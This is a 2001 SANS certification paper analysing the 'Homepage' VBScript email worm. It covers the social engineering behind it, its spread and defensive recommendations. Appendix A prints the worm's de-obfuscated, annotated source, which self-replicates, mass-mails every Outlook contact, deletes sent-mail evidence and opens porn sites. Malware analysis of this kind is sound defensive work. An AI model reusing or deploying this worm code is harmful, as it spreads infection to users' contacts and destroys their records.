Global Information Assurance Certification Paper

Oops, I did it again…

VBS, Social Engineering, and the Homepage Worm
GSEC Practical – Version 1.2d
Tom Liston (May 16, 2001)

A work of fiction

You're sitting at home one evening, feet up on the coffee table relaxing, when unexpectedly, the doorbell rings. You answer the door, only to find that there is no one there, but rather, someone has left a small package sitting on your doorstep. You bring it inside and open it, only to find that it contains a small vial of a greenish liquid that seems to give off an almost phosphorescent glow. Attached to the neck of the vial is a tag with a scrawled, handwritten message: DRINK ME.

The next day, you come home from work to find another package sitting on your front porch. There is a note attached to the box that says "Thanks!" and is signed "Bob". You think for a moment and then realize that it's probably from your next-door neighbor, Bob Smith, expressing his gratitude for your recent help in setting up his new home computer. When you open it, you find a six-pack of your favorite beer.

In the first scenario, you would probably be somewhat suspicious and very reticent about following the "DRINK ME" instructions. What about the second scenario? What, exactly, is the difference between these two situations?

Cold, harsh reality

On May 8, 2001 at approximately 20:30 GMT, what would later become known as the "Homepage" Worm (or HOMEPAGE.A, VBS/VBSWG.X, VBS/VBSWG.X@mm, VBS.VBSWG2.D@mm, VBS/SSI.gen@MM, VBS/SSI.gen, SSI, VBSWG)[1] was first discovered by Message Labs[2], a service providing content filtering for email. The "Homepage" worm is similar in operation to the "Anna Kournikova" worm that struck email systems in February 2001, and was, in fact, created using a later version[3] of the same toolkit that created "Kournikova."[4] "Homepage" and "Kournikova" both exploit the same set of vulnerabilities used by the original mother-of-all-email-worms, "ILOVEYOU".

The "Homepage" worm arrives in a user's e-mailbox as a message with the subject line "Homepage", and a message body with the invitation: "Hi! You've got to see this page! It's really cool ;O)." Attached to the message is a file that, at first, appears to be a link to a web page. Entitled "homepage.HTML.vbs", it is a ticking time bomb, waiting to go off. Clicking on this "link" launches a script file written in the Visual Basic for Applications scripting language. See Appendix A for annotated un-obfuscated source code to "Homepage."

The question at hand though, isn't "how does Homepage work?" in the technical sense. The technical details of "Homepage" differ only slightly from "Kournikova" and exploit the same vulnerabilities as "ILOVEYOU". The question that begs asking is really "how do these worms **CONTINUE** to work?" How is it that supposedly intelligent people continue to fall prey to the same simplistic attacks? How is it that almost exactly one year after the initial outbreak of "ILOVEYOU", the computer-using public should have been singing the chorus from a recent Top 40 / Bubblegum hit: "Oops, I did it again…"

Social Engineering – "I'm not *that* innocent".

At the beginning of this paper, two scenarios were presented. What sets these two situations apart is what we'll refer to as the "plausibility factor." It is exactly this "plausibility factor" that the tactics of what is known as "social engineering" are intended to foster.

Social engineering tactics are, in the broadest sense, "the art and science of getting people to comply [with] your wishes."[5] Social engineering plays on the basics of human psychology to persuade people to do things that they might otherwise not do. Whether preying on people's fears, trust, their need to please, or their simple ignorance, social engineering is powerful means of exploiting a key vulnerability. People are perhaps the weakest link in information security.

The true difference in the two scenarios presented is social engineering at its very essence. In the first situation, only someone with an overdeveloped sense of adventure would actually go so far as to drink the liquid in the vial. But what is it about the second scenario that offers more assurance about the safety of the "gift" left waiting on your porch? It is simply your **assumption** that the package you received represents your neighbor's appreciation for your help, nothing more. The note bolsters that assumption, as well as the fact that the package contains something that you would consider as a show of appreciation. But in the end, your assurance of safety is based only on the very shaky ground of your assumptions that are based solely on the "plausibility factor".

If someone were truly bent on doing you harm, how difficult would it be for him or her to guess your favorite beer? How difficult would it be come up with the name of your next-door neighbor and forge a note? Remember, the note said nothing specific, but rather, you "filled in the blanks" based on what is "plausible". How many people, if placed in this situation, would call, or walk next door to confirm that the gift was indeed from Bob? Perhaps, in this situation, your safety is predicated on the fact that the likelihood that Bob is showing his appreciation is far greater than the threat from some anonymous poison-pushing enemy.

All right then, let's add a little more "reality" to the scenario we presented; something to more strongly connect it to the real-world situation in which "Homepage" found itself. How would you react to the second scenario if, over the past several months, you'd seen

several dozen front page articles outlining the deadly exploits of a "Poisoning Madman." Someone who traveled through the neighborhoods of your city putting innocent-looking, poisonous drink packages on random doorsteps?

The "Poisoning Madman"

In March of 2001, the Argentinean virus coder [K]Alamar released Version 2β of his infamous VBS Worms Generator. The Generator, now coded in Visual Basic 6, is a complete re-write of the Version 1.5 Generator used to create the "Kournikova" worm. According to the help file that is bundled with Version 2β, the code is completely new because the original source to the Version 1.5 Generator was lost in a hard drive crash.

The VBSWG, as it is known, allows someone with little coding experience and a great deal of malicious intent to create a VBS worm via a point-and-click interface. As the spread of "Homepage" demonstrated, this new version of the VBSWG can create worms that elude standard "signature" based virus detection, although true heuristic detection like that used in MessageLab's "Skeptic"[6] and NAI's "VirusScan"[7] were able to tag the Homepage attachment as malicious code. Also, although the authors of Homepage took the code generated by VBSWG and added a randomization function that connects to one of four pornographic websites, this additional code had nothing to do with eluding detection as some news reports suggested.[8] Also, the "encryption" used by Homepage to obfuscate its code is nearly identical with that of "Kournikova" despite several anti-virus companies using this "new" feature as a reason for their signatures missing "Homepage."[9]

Oops, I did it again…

Despite the warnings of both "ILOVEYOU" and "Kournikova", May 9, 2001 brought an onslaught of casualties of "Homepage". Estimates of the worm's impact varied widely. MessageLabs' statistics show that over the 48-hour period beginning 20:00 GMT on May 8, 2001, they intercepted over 25,000 messages containing the worm. This equates to approximately 1 out of every 75 scanned messages being infected[10] compared to 1 out of 28 for "ILOVEYOU" and 1 out of 106 for "Kournikova". The virus quickly spread around the world, and was reported in over 25 different countries[11], with countries in the East hit far harder than Western countries that learned from the experiences of those located in the earlier time zones. Up to twenty percent of Australian companies were reportedly affected.[12]

In the West, several large corporations were hit hard as well. Disney[13] and Agilent were both nearly incapacitated by the worm, with sources at Agilent claiming that Homepage was responsible for sending over 400,000 internal email messages.[14]

All told, the worm is expected by some to strike more than 500,000 PCs worldwide, topping the number affected by "Kournikova".[15]

Lessons learned

The first and most obvious lesson is a simple admission: we're human. If a message shows up in our inbox with an attachment, there is a large proportion of the population who will open it, despite any number of warnings to the contrary. There will never be a "magic patch" or a "perfect virus scanner" that will save us from ourselves. This isn't because the technology is unfeasible, but rather, because the people who won't ever bother to apply security upgrades, or run virus scanners are precisely the people who need them the most. The bulk of the "home user" market are unprotected and will remain unprotected simply though ignorance, laziness, or an "it can't happen to me" attitude.

The harder lessons of the Homepage worm are aimed at information security professionals. These things keep happening, and they shouldn't. They keep happening because the "folks who should know better" haven't taken the time to do things right.

Microsoft has shouldered its share of the blame for the entire Visual Basic for Applications idea, but at this late stage of the game, the people in Redmond can justifiably point fingers back at the IT community and ask some hard questions. With over a year having passed since "ILOVEYOU", why is this able to happen again and again? What has gone wrong?

There is no "single point of failure" where blame can be cast. The problems that allowed Homepage to spread so virulently are many and complex:

- Although an official Microsoft patch for Outlook exists, many machines are (obviously) still un-patched.
  - The Microsoft patch (Outlook SR-1 E-Mail Security Update) has many undesirable side effects that have left users reluctant to install it.[16]
- Non-heuristic virus scanners are very vulnerable to new, quickly replicating, malicious code.
  - Organizations that relied solely on "signature-only" scanners had to wait several hours until antiviral signatures became available.
- A small amount of social engineering can cover a variety of sins.
  - The icon for ".vbs" scripts looks entirely different from the icon for ".html" files. The icon for a ".vbs" file would have been displayed by Outlook in direct contrast to the file type displayed.

  - One "social engineering" aspect of worm is that messages come from someone known to the user. This makes it easy to overlook such details because the victim "trusts" the source of the message.
- Simple filters for attachments with a ".vbs" extension exist, but have not been

implemented.
    - ZoneAlarm, a free / low-cost host-based firewall has built-in MailSafe protection which transparently changes ".vbs" and ".vbe" file extensions in email attachments to a non-executable ".zl0" and ".zl1"
- Default settings can hide valuable information.
    - The default setting "hide known extensions" made the Homepage attachment look "safe" by dropping the ".vbs" extension.

Recommendations

Following the mantra of "defense in depth", there are several recommendations that come out of the Homepage experience. Examining the lessons presented by Homepage leads us to several simple steps which, taken in concert, provide a defense that affords a layered posture against future ".vbs" incarnations whether they are created by the VBSWG or not.

- Filter all Visual Basic Script attachments at the mailserver.
    - There are few, if any, legitimate uses for script attachments.
    - It is better to make exceptions by opening up generic restrictions to allow for specific cases.
- Scan all incoming files at multiple locations using different anti-virus software.
    - Take advantage of the various strengths of the different virus scanning software packages.
- Initiate the use of Zone Alarm or other host based "script attachment" killers.
    - Zone alarm also has the advantage of providing host based application level firewalling.
- Change the local host icons for ".vbs" and ".vbe" extensions to an icon which visually indicates that the filetype is executable. This should be done for all scripting languages that might reside on the machine.
- Continue to educate users to be skeptical of all incoming email, and especially mail with attachments.
- Turn off the "hide file extensions for known file types" setting in Explorer.
    - Search the Registry and rename keys "NeverShowExt". There are many file extensions that don't "listen" to the Explorer setting.
- The decision to patch systems using the Outlook SR-1 E-Mail Security Update should be considered carefully.
    - Systems patched in this manner are still vulnerable to certain carefully crafted attacks.[17]
    - There are several undesirable side effects of this patch.

Conclusion

The Homepage worm, and the damage that it caused, didn't have to happen. Adequate, well-known, easily implemented, countermeasures exist that could have stopped Homepage in its tracks. Because users are vulnerable, and will continue to be vulnerable,

to simple social engineering, security professionals must shoulder the burden of making sure that they never have the opportunity to say, “Oops, I did it again…”

Appendix A: The Homepage Worm – Annotated Source

The Homepage Worm comes attached to an email message as a file called "homepage.HTML.vbs". It takes advantage of a commonly set "option" under the different versions of the Windows operating system where "extensions" (the stuff after the "." in a filename) can be "turned off" and not displayed. In the case where an end user has this setting enabled, the resulting filename would simply look like "homepage.HTML". Double clicking on the attachment launches a "script" written in the Visual Basic for Applications scripting language. This script is interpreted by the "Windows Scripting Host", a program that is installed by default along with versions of Internet Explorer and Outlook on Windows systems. "Interpreting" the script is a technical way of saying that the "Window Scripting Host" carries out the instructions contained in the script.

The Homepage worm shows up in a format that hides its real intentions. The source code for the script, which would normally be human-readable, has been "obfuscated" using a rather crude method. This same method was used in the "Kournikova" worm. Essentially, a simple substitution cipher is used to "encode" the script. Decoding the cipher reveals the human readable script code (note: the code below has been "un-obfuscated" and has been slightly reformatted to better fit the page; annotations are in *italics*):

On Error Resume Next
This is the author's "safety net". If anything happens that causes an error, this tells the program to simply continue at the next line.

Set WS = CreateObject("WScript.Shell")
Set FSO= Createobject("scripting.filesystemobject")
Folder=FSO.GetSpecialFolder(2)
This set of instructions first creates a "shell object" (essentially a handle to something that it can use to execute functions) called WS. It also creates an empty File System Object that is set to point to a "special folder" on the host computer—the system's "temp" or temporary folder.

Set InF=FSO.OpenTextFile(WScript.ScriptFullname,1)
Do While InF.AtEndOfStream<>True
ScriptBuffer=ScriptBuffer&InF.ReadLine&vbcrlf
Loop
This set of instructions creates a text file handle (an object that allows the script to access a text file on the host computer) and points it to… well… itself. The variable InF is pointed to the script file that was attached to the inbound email and is currently running. The file handle is set to "read" mode, meaning that it will be used to look at, but not alter, the script file. The script then creates a buffer (a place to store information) and then reads a brand new copy of the original script file into that buffer.

```
Set OutF=FSO.OpenTextFile(Folder&"\homepage.HTML.vbs",2,true)
OutF.write ScriptBuffer
OutF.close
Set FSO=Nothing
```

Now, a new file handle is created and pointed at the "temp" directory and told to open a file called "homepage.HTML.vbs". This file handle is created in "write" mode, meaning that it will be used to store information into that file. Also, it is told that if the file doesn't exist already, Windows should create it (the "true" in the first statement above). The script then writes out the copy of the original script (that it stored in the buffer) into this newly created file, and cleans up after itself.

```
If WS.regread ("HKCU\software\An\mailed") <> "1" then
    Mailit()
End If
```

The script now checks the registry of host computer to see if a certain setting (HKEY_CURRENT_USER\software\An\mailed) exists. The registry is a part of the Windows operating system where programs store configuration settings. Later, the script will set this registry value before it exits, ensuring that it will only ever send itself out from this machine once. If the setting doesn't exist, the script jumps to the part of the code that mails itself out, called Mailit(). (see below)

```
Set s=CreateObject("Outlook.Application")
Set t=s.GetNameSpace("MAPI")
Set u=t.GetDefaultFolder(6)
For i=1 to u.items.count
    If u.Items.Item(i).subject="Homepage" Then
        u.Items.Item(i).close
        u.Items.Item(i).delete
    End If
Next
Set u=t.GetDefaultFolder(3)
For i=1 to u.items.count
    If u.Items.Item(i).subject="Homepage" Then
        u.Items.Item(i).delete
    End If
Next
```

Having sent itself out to everyone in the user's Outlook address book, it's time for the script to clean up and hide the evidence that it's been here. It creates an object which points to Outlook. It then has Outlook open the "Journal" folder (default folder #6) where information on all sent and received email is stored. Outlook is then instructed to look for all emails with the Subject: line of "Homepage" and delete them. It also does the same thing for the "Sent Items" folder (default folder #3).

```
Randomize
r=Int((4*Rnd)+1)
```

```
If r=1 then
    WS.Run("http://hardcore.pornbillboard.net/shannon/1.htm")
elseif r=2 Then
    WS.Run("http://members.nbci.com/_XMCM/prinzje/1.htm")
elseif r=3 Then
    WS.Run("http://www2.sexcropolis.com/amateur/sheila/1.htm")
ElseIf r=4 Then
    WS.Run("http://sheila.issexy.tv/1.htm")
End If
```

Now for the "payload." The script generates a random number between one and four. It then uses that random number to select from among four different pornographic websites, and launches the default web browser to display it. At this point, the script then exits. This portion of the code does not appear to have been generated by [K]Alamar's VBSWG, but rather, appears to have been added in or edited by hand. Note the odd capitalization differences. (Indentation added)

The Mailit() function is what does the dirty work of sending the worm out to everyone in the user's email address book

```
Function Mailit()
On Error Resume Next
```

Once again, safety is first. This keeps the script running in the event that there is an error.

```
Set Outlook = CreateObject("Outlook.Application")
```

Create an object, pointing to Outlook.

```
If Outlook = "Outlook" Then
```

Here, the script checks to make sure that it actually contacted "Outlook". Interestingly, this check wasn't done before when the script connected to Outlook to delete evidence.

```
    Set Mapi=Outlook.GetNameSpace("MAPI")
    Set Lists=Mapi.AddressLists
    For Each ListIndex In Lists
        If ListIndex.AddressEntries.Count <> 0 Then
            ContactCount = ListIndex.AddressEntries.Count
```

After hooking up with Outlook, it connects with the users address book, looking only for entries that contain email addresses. (Outlook address book entries can also have phone numbers, street addresses, etc…) It then looks at the different "lists" of addresses that exist ("Personal Address List", etc…) and steps through each one. If the list contains at least one address, then it stores the number of addresses in the variable "ContactCount".

```
            For Count= 1 To ContactCount
                Set Mail = Outlook.CreateItem(0)
```

```
                Set Contact = ListIndex.AddressEntries(Count)
                Mail.To = Contact.Address
                Mail.Subject = "Homepage"
                Mail.Body = vbcrlf&"Hi!"&vbcrlf&vbcrlf&
                    "You've got to see this page! It's really cool ;O)"&vbcrlf&vbcrlf
                Set Attachment=Mail.Attachments
                Attachment.Add Folder & "\homepage.HTML.vbs"
                Mail.DeleteAfterSubmit = True
                If Mail.To <> "" Then
                    Mail.Send
                    WS.regwrite "HKCU\software\An\mailed", "1"
                End If
            Next
        End If
    Next
End if
End Function
```

For each address in the list, the script creates an Outlook message, sets the "Contact" information to the address, sets the subject, the body of the message, and attaches the script that was saved in the "temp" directory above. It then submits the message to be sent, marking it for deletion after being successfully mailed. It then creates the registry key discussed above in order to make sure that the machine isn't infected twice.

The location of the WS.regwrite command above seems odd. Why continually re-write the same registry key for each message sent? Perhaps [K]Alamar contemplated enabling some method of saving address-based registry keys as was done in "ILOVEYOU".

[1] Trend Micro Virus Encyclopedia. VBS_HOMEPAGE.A - Trend Micro Virus Encyclopedia. May 16, 2001. Trend Micro. <http://www.antivirus.com/vinfo/virusencyclo/default5.asp?Vname=VBS _HOMEPAGE.A> (May 14, 2001).

[2] MessageLabs VirusEye. MessageLabs - Virus Report - VBS/Homepage-mm. May 9, 2001. MessageLabs. <http://www.messagelabs.com/viruseye/report.asp?id=65> (May 16, 2001).

[3] Trend Micro Virus Encyclopedia. VBS_HOMEPAGE.A - Trend Micro Virus Encyclopedia. May 16, 2001. Trend Micro. <http://www.antivirus.com/vinfo/virusencyclo/default5.asp?VName= VBS_HOMEPAGE.A&VSect=T> (May 16, 2001).

[4] Grazi, Alberto. VBS Worms Generator. February 21, 2001. SANS Institute. <http://www.sans.org/infosecFAQ/malicious/VBS_worms.htm> (May 16, 2001).

[5] Harl. "People Hacking: The Psychology of Social Engineering." Access All Areas III. July 5, 1997 (Text of the speech is found online at: <http://packetstorm.securify.com/docs/social-engineering/aaatalk.html>)

[6] MessageLabs VirusEye. MessageLabs - Virus Report - VBS/Homepage-mm. May 9, 2001. MessageLabs. <http://www.messagelabs.com/viruseye/report.asp?id=65> (May 16, 2001).

[7] Leyden, John. Homepage spreading faster than Kournikova worm. May 9, 2001. The Register. <http://www.theregister.co.uk/content/8/18845.html> (May 16, 2001).

[8] Fisher, Dennis. 'Homepage' virus spreading quickly. May 9, 2001. ZDNet/eWeek. <http://www.zdnet.com/eweek/stories/general/0,11011,2717283,00.html> (May 16, 2001).

[9] Reuters. Spread of 'HomePage' virus begins to slow. Updated May 10, 2001. CNN.com. <http://www.cnn.com/2001/TECH/05/10/virus.homepage.reut/index.html> (May 16, 2001).

[10] MessageLabs VirusEye. 11 May 2001 – HomePage statistics. May 11, 2001. MessageLabs. <http://www.messagelabs.com/viruseys/reports.asp?id=68> (May 16, 2001)

[11] MessageLabs VirusEye. MessageLabs - Virus Report - VBS/Homepage-mm. May 9, 2001. MessageLabs. <http://www.messagelabs.com/viruseye/report.asp?id=65> (May 16, 2001).

[12] AAP. HomePage virus links to porn websites. May 11, 2001. I.T Jobs Australia. <http://it.mycareer.com.au/breaking/2001/05/11/FFXQE0TTKMC.html> (May 16, 2001).

[13] Magee, Mike. Disney hit by Homepage virus. May 10, 2001. the inquirer. <http://213.219.40.69/10050102.htm> (May 16, 2001).

[14] Leyden, John. Homepage spreading faster than Kournikova worm. May 9, 2001. The Register. <http://www.theregister.co.uk/content/8/18845.html> (May 16, 2001).

[15] Stenger, Richard. New 'Homepage' virus opens porn Web sites. May 9, 2001. CNN.com/SCI-TECH. <http://www.cnn.com/2001/TECH/internet/05/09/homepage.virus/index.html> (May 16, 2001).

[16] Lemon, Sumner. U.S. Air Force blasts Outlook security patch. May 4, 2001. InfoWorld. <http://www2.infoworld.com/articles/hn/xml/01/05/04/010504hnairf.xml> (May 16, 2001)

[17] Lemon, Sumner. U.S. Air Force blasts Outlook security patch. May 4, 2001. InfoWorld. <http://www2.infoworld.com/articles/hn/xml/01/05/04/010504hnairf.xml> (May 16, 2001)